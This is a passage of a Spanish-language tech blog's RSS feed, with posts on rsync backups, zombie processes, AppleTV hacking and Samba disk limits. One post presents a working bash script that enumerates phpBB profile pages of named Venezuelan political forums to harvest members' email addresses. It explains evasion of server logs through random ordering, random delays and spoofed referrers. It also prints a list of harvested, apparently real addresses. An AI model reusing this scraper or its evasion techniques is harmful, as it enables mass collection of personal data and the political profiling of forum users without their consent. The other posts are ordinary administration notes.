&lt;span class="c"&gt;#rsync -avx --delete --exclude=&amp;#39;iTunes/iTunes\ Media/Movies/*&amp;#39; --progress ~/Music/iTunes -e &amp;quot;ssh -p22&amp;quot; usuario.aqui@host.remoto.aqui:~/&lt;/span&gt;
&lt;span class="c"&gt;#rsync -avx --progress ~/Music/iTunes -e &amp;quot;ssh -p22&amp;quot; usuario.aqui@host.remoto.aqui:~/&lt;/span&gt;
rsync -avx --delete --progress ~/Music/iTunes -e &lt;span class="s2"&gt;&amp;quot;ssh -p22&amp;quot;&lt;/span&gt; usuario.aqui@host.remoto.aqui:~/
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como pueden ver tengo dos lineas comentadas las cuales las descomento de acuerdo con lo que quiera hacer. La primera omite el directorio 'Movies'. La segunda no borra los archivos que he eliminado de iTunes o que ya no están en esa ubicación. La ultima que es la que no esta comentada borra y sincroniza la librería entera. Noten que &lt;em&gt;-e &amp;quot;ssh -p22&amp;quot;&lt;/em&gt; le dice a &lt;cite&gt;rsync&lt;/cite&gt; que va a ejecutar SSH por el puerto 22, útil en caso de que engan SSH corriendo en otro puerto.&lt;/p&gt;
&lt;p&gt;Yo en particular lo tengo en ~/scripts y lo ejecuto así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;sh ~/scripts/rsync_itunes.sh
&lt;/pre&gt;&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 24 May 2015 00:00:00 -0700</pubDate><guid>tag:orvtech.com,2010-09-11:respaldar-itunes-a-un-servidor-remoto-con-rsync.html</guid><category>iOS</category><category>NSLU2</category><category>rsync</category><category>Scripts</category><category>SSH</category></item><item><title>Los zombis podrían estar consumiendo tu procesador en este instante</title><link>http://orvtech.com/los-zombis-podrian-estar-consumiendo-tu-procesador-en-este-instante.html</link><description>&lt;div style="text-align:left;"&gt;&lt;p&gt;&lt;img alt="Los zombis también pueden estar en el NSLU2" src="http://orvtech.info/2010/12/zombie-nslu2.101x100.png" /&gt;&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Un proceso zombi es un proceso que ha completado su ejecución pero aun
tiene una entrada en la tabla de procesos. Esta entrada aun es
necesitada para permitir la lectura del estado de su estado de salida.
El Termino zombi se deriva de la definición de un muerto viviente (se
acuerdan de esa película?). Para ponerlo en términos simples y un poco
mas técnicos, un proceso hijo ha terminado pero aun no se ha eliminado
de la tabla de procesos y el comando &lt;em&gt;kill&lt;/em&gt; no tiene efectos sobre él.&lt;/p&gt;
&lt;/p&gt;&lt;p&gt;Identificarlos es fácil, podemos ejecutar el comando ps y buscamos
cuales procesos tienen una &amp;quot;&lt;em&gt;z&lt;/em&gt;&amp;quot; en la columna &amp;quot;&lt;em&gt;STAT&lt;/em&gt;&amp;quot;. Los
procesos zombi que permanecen por un periodo mas que corto por lo
general es señal de &lt;a class="reference external" href="http://orvtech.com/general/importante-reportar-bugs/"&gt;un Bug en el proceso padre&lt;/a&gt;. Ahora bien, si el
zombi aun existe después de que el proceso padre ha terminado esto por
lo general indica un bug en el sistema operativo.&lt;/p&gt;
&lt;div style="text-align: center;"&gt;&lt;p&gt;[caption id=&amp;quot;attachment_231&amp;quot; align=&amp;quot;aligncenter&amp;quot; width=&amp;quot;700&amp;quot;
caption=&amp;quot;La salida de el comando top que muestra donde están los
zombis&amp;quot;]&lt;a class="reference external" href="http://orvtech.info/2010/12/terminal-zombies-700x291.png"&gt;&lt;img alt="La salida de el comando TOP que muestra donde estan los zombis" src="http://orvtech.info/2010/12/terminal-zombies-700x291.png" /&gt;&lt;/a&gt;[/caption]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Un procesos zombi no es un problema tan grave, el problema se agrava si
el computador va a ser sometido a fuertes cargas pues puede ser que se
multipliquen. A pesar de que los zombis no consumen memoria un
incremento acelerado de estos podría traer consecuencias a la hora de
que el sistema operativo se le acaben los PID a asignar.&lt;/p&gt;
&lt;p&gt;Una vez que el padre haya matado el zombi el proceso ID (PID) y la
entrada en la tabla de procesos puede ser reutilizada, pero si este
falla, el zombi permanece en la tabla de procesos.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;Para eliminar un zombi del sistema, se le debe enviar la señal SIGCHLD
al padre usando el comando &lt;em&gt;kill&lt;/em&gt;. En caso de que el padre se no pueda
eliminar el zombi de la tabla de procesos podríamos intentar matando el
proceso padre. Algo que debemos tomar en cuenta es que cuando un proceso
pierde a su padre, '&lt;em&gt;init&lt;/em&gt;' pasar a ser su nuevo padre y este se
encarga de limpiar periódicamente la tabla de procesos de los zombis
cuyos padres sean init.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Mon, 16 Aug 2010 23:58:00 -0700</pubDate><guid>tag:orvtech.com,2010-08-16:los-zombis-podrian-estar-consumiendo-tu-procesador-en-este-instante.html</guid><category>Android</category><category>NSLU2</category><category>BASH</category><category>Linux</category><category>Proyecto Fedora</category><category>recursos</category><category>tips</category><category>zombie</category></item><item><title>Flash en el iPhone en tres pasos</title><link>http://orvtech.com/flash-en-el-iphone-en-tres-pasos.html</link><description>&lt;p&gt;Es en realidad algo muy fácil de hacer, consiste en un paquete del
repositorio Alemán/Austriaco benm.at para Cydia.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Abre Cydia &amp;gt; Manage &amp;gt; Sources&lt;/li&gt;
&lt;li&gt;Edita las fuentes y agrega &lt;a class="reference external" href="http://repo.benm.at"&gt;http://repo.benm.at&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Busca Frash e instala tanto el paquete como el addon para sbsettings.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;[gallery link=&amp;quot;file&amp;quot; order=&amp;quot;DESC&amp;quot;]&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Mon, 09 Aug 2010 00:39:00 -0700</pubDate><guid>tag:orvtech.com,2010-08-09:flash-en-el-iphone-en-tres-pasos.html</guid><category>Hacks</category><category>iOS</category><category>iPhone</category><category>tips</category></item><item><title>Recolectar emails de comunidades en internet.</title><link>http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html</link><description>&lt;p&gt;Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano. Revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro)
orientada específicamente a usuarios oficialistas, no veo otra forma de
asociar una dirección de correo electrónica con una tendencia política.&lt;/p&gt;
&lt;p&gt;Para duplicar estos resultados escribí un script que permite obtener
estos emails y se adapta a cualquier comunidad que use phpBB como
software para foros. echemos un vistazo.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nv"&gt;TEMP_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/spider_url.tmp&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;MAX_SLEEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="nv"&gt;TMP_EMAILS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/spider_emails.tmp&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="nv"&gt;EMAIL_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/emails.txt&amp;quot;&lt;/span&gt;

rm -f &lt;span class="nv"&gt;$TEMP_URL&lt;/span&gt;
rm -f &lt;span class="nv"&gt;$TMP_EMAILS&lt;/span&gt;
rm -f &lt;span class="nv"&gt;$EMAIL_OUTPUT&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;COMUNIDAD in &lt;span class="sb"&gt;`&lt;/span&gt;cat &lt;span class="nv"&gt;$CONFIG&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nv"&gt;COMUNIDAD_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$COMUNIDAD&lt;/span&gt; | awk -F, &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;PERFILMIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$COMUNIDAD&lt;/span&gt; | awk -F, &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;PERFILMAX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$COMUNIDAD&lt;/span&gt; | awk -F, &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;PERFIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PERFILMIN&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$PERFIL&amp;quot;&lt;/span&gt; -lt &lt;span class="s2"&gt;&amp;quot;$PERFILMAX&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://$COMUNIDAD_URL/profile.php?mode=viewprofile&amp;amp;u=&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$PERFIL&lt;/span&gt;
    &lt;span class="nv"&gt;PERFIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;expr &lt;span class="nv"&gt;$PERFIL&lt;/span&gt; + 1&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt; | sort -R | grep -i &lt;span class="o"&gt;[&lt;/span&gt;a-z&lt;span class="o"&gt;]&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="nv"&gt;$TEMP_URL&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;URL_DE_PERFIL in &lt;span class="sb"&gt;`&lt;/span&gt;cat &lt;span class="nv"&gt;$TEMP_URL&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;do &lt;/span&gt;curl -s --referer &lt;span class="sb"&gt;`&lt;/span&gt;shuf -n1 &lt;span class="nv"&gt;$TEMP_URL&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="nv"&gt;$URL_DE_PERFIL&lt;/span&gt; | grep -i &lt;span class="s2"&gt;&amp;quot;@&amp;quot;&lt;/span&gt; |&lt;span class="se"&gt;\&lt;/span&gt;
  sed -e &lt;span class="s1"&gt;&amp;#39;s/&amp;lt;/ /g&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;s/&amp;gt;/ /g&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;s/\:/ /g&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;s/\=/ /g&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;s/&amp;amp;amp;/ /g&amp;#39;&lt;/span&gt; |&lt;span class="se"&gt;\&lt;/span&gt;
  sed s/&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;/&lt;span class="se"&gt;\ &lt;/span&gt;/g |&lt;span class="se"&gt;\ &lt;/span&gt;tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; | &lt;span class="se"&gt;\ &lt;/span&gt;grep &lt;span class="s2"&gt;&amp;quot;@&amp;quot;&lt;/span&gt; | sort | uniq | tr &lt;span class="s1"&gt;&amp;#39;A-Z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;a-z&amp;#39;&lt;/span&gt;
  &lt;span class="nv"&gt;SEGUNDOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$[&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$RANDOM&lt;/span&gt; % &lt;span class="nv"&gt;$MAX_SLEEP&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;  + 1 &lt;span class="o"&gt;]&lt;/span&gt;
  sleep &lt;span class="nv"&gt;$SEGUNDOS&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="nv"&gt;$TMP_EMAILS&lt;/span&gt; cat &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$TMP_EMAILS&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt; |&lt;span class="se"&gt;\&lt;/span&gt;
grep -i -E &lt;span class="s1"&gt;&amp;#39;[a-zA-Z0-9_]*@[a-zA-Z0-9]*\.*\.(com|edu|net|org|info|ve)&amp;#39;&lt;/span&gt; | sort |&lt;span class="se"&gt;\&lt;/span&gt;
 uniq &amp;gt; &lt;span class="nv"&gt;$EMAIL_OUTPUT&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El script toma información que es publica y la filtra hasta obtener una cadena que semejé una dirección de correo electrónico, como pueden ver en las siguientes imagenes el perfil de los usuarios son públicos y es predecible cual es la URL de estos perfiles ya que son numerados de forma secuencial.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/foros-aporrea-2.png" style="width: 725.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/foros-noticiero-1.png" style="width: 725.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/foros-noticiero-4.png" style="width: 725.0px;" /&gt;&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Al ejecutar el script no arroja ninguna salida, tendríamos que hacer un &lt;em&gt;cat&lt;/em&gt; a &lt;em&gt;$EMAIL_OUTPUT&lt;/em&gt; como lo vemos aquí:&lt;/p&gt;
&lt;img alt="Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano, revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro) orientada específicamente a usuarios oficialistas, no veo otra forma de asociar una dirección de correo electrónica con una tendencia política" class="align-center" src="http://orvtech.info/2010/12/foros-run.png" style="width: 566.5px;" /&gt;
&lt;p&gt;Si se fijan el el script el recibe un parámetro cuando lo ejecutamos, ese parámetro es la ruta a un archivo que va a contener la información de la URL del foro a escanear, el primer perfil a escanear y el ultimo perfil, todo separado por comas sin espacios en blanco &lt;em&gt;(comunidad,minimo,maximo)&lt;/em&gt; el archivo se vería algo así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
www.noticierodigital.com/forum,1001,1010 aporrealos.com/forum,1000,1020
&lt;/pre&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Para llegar a cual es el perfil numero del perfil del ultimo usuario registrado por demos jugar en nuestro navegador web con el parámetro &lt;em&gt;u=17015&lt;/em&gt; y cambiar ese numero por uno mas alto hasta que recibamos una pantalla de error del foro diciendo que ese perfil no existe.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="Se puede asociar el perfil con el nick y por ende con el email." class="align-center" src="http://orvtech.info/2010/12/foros-aporrea-1.png" style="width: 725.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/foros-noticiero-3.png" style="width: 725.0px;" /&gt;&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Evitando Patrones.&lt;/strong&gt;
Si volvemos al script que publique, pueden ver que tome algunas
medidas para evitar crear patrones el archivos de registro (log files)
alterando el orden de los perfiles y cambiando aleatoriamente el tiempo
a esperar entre visita y visita a los perfiles adicionalmente estoy
enviando un 'referrer' perteneciente a estas comunidades con cada
petición HTTP.&lt;/p&gt;
&lt;p&gt;El producto final de este script es una lista de direcciones de correo,
una dirección por linea y luce así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
ferminmittilo&amp;#64;gmail.com
ivanmarcanolopez&amp;#64;hotmail.com
jjguillen&amp;#64;cantv.net
monje902&amp;#64;hotmail.com
psichofra&amp;#64;hotmail.com
linux&amp;#64;hacks.org
&lt;/pre&gt;
&lt;p&gt;Este script no funciona con todos los foros &lt;em&gt;phpBB&lt;/em&gt;, algunos requieren una sesión valida para acedar la pagina de los perfiles. En la segunda
parte de este script (que publicare en los próximos días) usare este
mismo script pero implementando cookies, sesiones, proxies y recurriendo
a la cache de algunos buscadores web.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; El script corre sin problemas en el iPhone asi que se puede ejecutar desde cualquier parte que se tenga internet bien sea vía
Edge, 3G o WIFI.&lt;/p&gt;
&lt;p&gt;Aquí una captura de pantalla y un video de el script con algunas
modificaciones después de ejecutarse:&lt;/p&gt;
&lt;embed src="http://blip.tv/play/AYKgjBkC" type="application/x-shockwave-flash" width="480" height="300" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;a class="reference external image-reference" href="http://orvtech.com/recolectar-emails-de-comunidades-en-internet.html"&gt;&lt;img alt="Script para recolectar emails de foros web ejecutado desde el iPhone" class="align-center" src="http://orvtech.info/2010/12/spider_terminal.png" style="width: 650.0px;" /&gt;&lt;/a&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Mon, 02 Aug 2010 00:54:00 -0700</pubDate><guid>tag:orvtech.com,2010-08-02:recolectar-emails-de-comunidades-en-internet.html</guid><category>BASH</category><category>foros</category><category>Hacks</category><category>Scripts</category><category>Videos</category></item><item><title>Acceso remoto via SSH a mi AppleTV</title><link>http://orvtech.com/acceso-remoto-via-ssh-a-mi-appletv.html</link><description>&lt;p&gt;Instale mediante un pendrive USB un parche que permite el acceso remoto
a mi AppleTV vía SSH, el mismo parche instala una serie de aplicaciones
como Boxee, bin utils y unas modificaciones o hacks al menú de la
interfaz gráfica que permite la instalación de plugins (como Perian) y
otras aplicaciones.&lt;/p&gt;
&lt;p&gt;[caption id=&amp;quot;attachment_330&amp;quot; align=&amp;quot;aligncenter&amp;quot; width=&amp;quot;562&amp;quot;
caption=&amp;quot;booteando&amp;quot;]&lt;a class="reference external" href="http://orvtech.info/2010/12/appletv_flashed_booting.jpg"&gt;&lt;img alt="AppleTV iniciando despues de un reflash" src="http://orvtech.info/2010/12/appletv_flashed_booting.jpg" /&gt;&lt;/a&gt;[/caption]&lt;/p&gt;
&lt;p&gt;La razón principal de esto es mas que todo para poder instalar XBMC y
una serie de plugins y scripts para este que permiten organizar
automaticamente la librería de películas. El pluging no solo permite
renombrar y organizar de acuerdo a el nombre real de este vídeo,
temporada y episodio si no también descarga automaticamente los
subtítulos e información adicional al vídeo. Aquí les dejo un vídeo de
el AppleTV iniciando desde el USB patchstick (el pendrive que
preparamos) e instalando todo lo necesario.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;embed src="http://blip.tv/play/AYKgjmQC" type="application/x-shockwave-flash" width="480" height="300" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;p&gt;Proximamente buscare de instalar macports o el portage de gentoo si es
posible. Quiero migrar este site así como linuxevolution.org al AppleTV.&lt;/p&gt;
&lt;p&gt;[gallery link=&amp;quot;file&amp;quot; order=&amp;quot;DESC&amp;quot;]&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 18 Jul 2010 02:50:00 -0700</pubDate><guid>tag:orvtech.com,2010-07-18:acceso-remoto-via-ssh-a-mi-appletv.html</guid><category>AppleTV</category><category>Hacks</category><category>OSX</category><category>Scripts</category><category>SSH</category><category>Videos</category></item><item><title>AppleTV, el futuro remplazo de mi NSLU2</title><link>http://orvtech.com/appletv-el-futuro-remplazo-de-mi-nslu2.html</link><description>&lt;p&gt;Por ahora no he jugado mucho con el Apple TV, tan solo unos minutos esta
mañana, en cuestión de minutos lo conecte al TV, prendió y logre
configurar para que se conecte a la red inalámbrica de la casa. Este
sera el reemplazo de mi servidor NSLU2 en un par de meses. Por su puesto
no podian faltar las fotos:&lt;/p&gt;
&lt;div style="text-align: center;"&gt;&lt;p&gt;[gallery link=&amp;quot;file&amp;quot; order=&amp;quot;DESC&amp;quot;]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Las características técnicas del equipo son:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="18%" /&gt;
&lt;col width="82%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Procesador:&lt;/td&gt;
&lt;td&gt;Intel 1.0 GHz &amp;quot;Crofton&amp;quot; Processor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gráficos:&lt;/td&gt;
&lt;td&gt;NVIDIA GeForce Go 7300 (64 MB VRAM)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Memoria:&lt;/td&gt;
&lt;td&gt;256 Mb de 400 MHz DDR2 SDRAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Disco duro:&lt;/td&gt;
&lt;td&gt;160 GB hard disk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Conectividad:&lt;/td&gt;
&lt;td&gt;USB 2.0, receptor infrarrojo, HDMI y Vídeo por componentes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Networking:&lt;/td&gt;
&lt;td&gt;10BASE-T/100BASE-T Ethernet, 802.11 b, g, n wireless networking (AirPort)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Salida:&lt;/td&gt;
&lt;td&gt;1080p/1080i 60/50 Hz (pero la resolución máxima de vídeo es de 720p)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Audio:&lt;/td&gt;
&lt;td&gt;S/PDIF digital audio óptico, RCA analógico de sonido estéreo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Alimentación:&lt;/td&gt;
&lt;td&gt;Fuente de alimentación universal 48W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dimensiones:&lt;/td&gt;
&lt;td&gt;197x197x28 mm (7.7x7.7x1.1 in)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Peso:&lt;/td&gt;
&lt;td&gt;1.09 kg (2.4 libra)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A simple vista, mas de ocho veces la cantidad de memoria que tiene mi
&lt;a class="reference external" href="http://es.wikipedia.org/wiki/NSLU2"&gt;NSLU2&lt;/a&gt; (que por cierto aloja esta pagina web), casi ocho veces mas
poder de procesamiento, disco duro interno vía IDE que ya de por si es
mucho mas rápido que USB 2.0, lo puedo conectar al TV y ver en HD las
películas, photos, y demás contenido multimedia que descargue vía
torrents. Todo esto por $108 puesto en mi casa.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 08 Jul 2010 03:18:00 -0700</pubDate><guid>tag:orvtech.com,2010-07-08:appletv-el-futuro-remplazo-de-mi-nslu2.html</guid><category>AppleTV</category><category>NSLU2</category><category>OSX</category></item><item><title>Limitar el espacio de una carpeta sin usar cuotas en Samba.</title><link>http://orvtech.com/limitar-el-espacio-de-una-carpeta-sin-usar-cuotas-en-samba.html</link><description>&lt;p&gt;Hace poco me consultaron si se podía limitar el espacio de una carpeta
Samba (samba share) sin tener control de usuarios es decir hay una
carpeta por usuario que esta a su vez es 'mapeada' a su estación de
trabajo (que corre windows) pero todos los usuarios usan el mismo
usuario y el mismo password para acceder cada una de sus carpetas. La
pregunta me dejo cabezón, yo nunca trabaje con Samba pero se que debe de
haber forma de hacer esto. Por ahora me dispuse a crear un script que le
ayudara.&lt;/p&gt;
&lt;img alt="Limitar el espacio de una carpeta sin usar cuotas en Samba" class="align-center" src="http://orvtech.info/2010/12/smb_conf.png" style="width: 650.0px; height: 434.0px;" /&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;El script lee un archivo de texto separado por comas el cual tiene dos
columnas una para el nombre del usuario y la cantidad de Megabytes que
se le va a asignar a cada usuario. Usando el comando dd el script crear
archivos que son formateados como EXT3 y seguidamente los monta. El
archivo de texto plano luce así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;cat /tmp/usuarios.txt

maria.perez,5
arnaldo.hernandez,5
gustavo.flores,10
jesus.boss,5
marta.hernandez,5
wilkneman.pascoski,5
tatiana.siu,5
alexandra.delarosa,5
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aparte de crear, formatear y montar estos archivos el script también
crea la configuración base que se le va a anexar a al &lt;em&gt;smb.conf&lt;/em&gt; con el
siguiente formato para cada usuario:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[alexandra.delarosa]
   comment = alexandra.delarosa with 5MB
   path = /mnt/smb_discs/alexandra.delarosa
   read only = no
   browseable = yes
   guest ok = yes

[arnaldo.hernandez]
   comment = arnaldo.hernandez with 5MB
   path = /mnt/smb_discs/arnaldo.hernandez
   read only = no
   browseable = yes
   guest ok = yes


[gustavo.flores]
   comment = gustavo.flores with 10MB
   path = /mnt/smb_discs/gustavo.flores
   read only = no
   browseable = yes
   guest ok = yes
&lt;/pre&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Luego seria cuestión de retocar el &lt;em&gt;/etc/Samba/smb.conf&lt;/em&gt; y reiniciar
el servicio, re-mapear esto &lt;em&gt;Samba share&lt;/em&gt; a los usuarios y listo.
Aquí esta el script&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nv"&gt;LISTAUSUARIOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;cat /tmp/usuarios.txt|sort&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="nv"&gt;RUTA_DISCOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/smb_disks/smb_drives&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;MOUNT_SMB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/mnt/smb_discs&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;TMPSAMBACONF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/samba.virt.conf&amp;quot;&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &amp;gt; &lt;span class="nv"&gt;$TMPSAMBACONF&lt;/span&gt;
mkdir -p &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$RUTA_DISCOS&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;

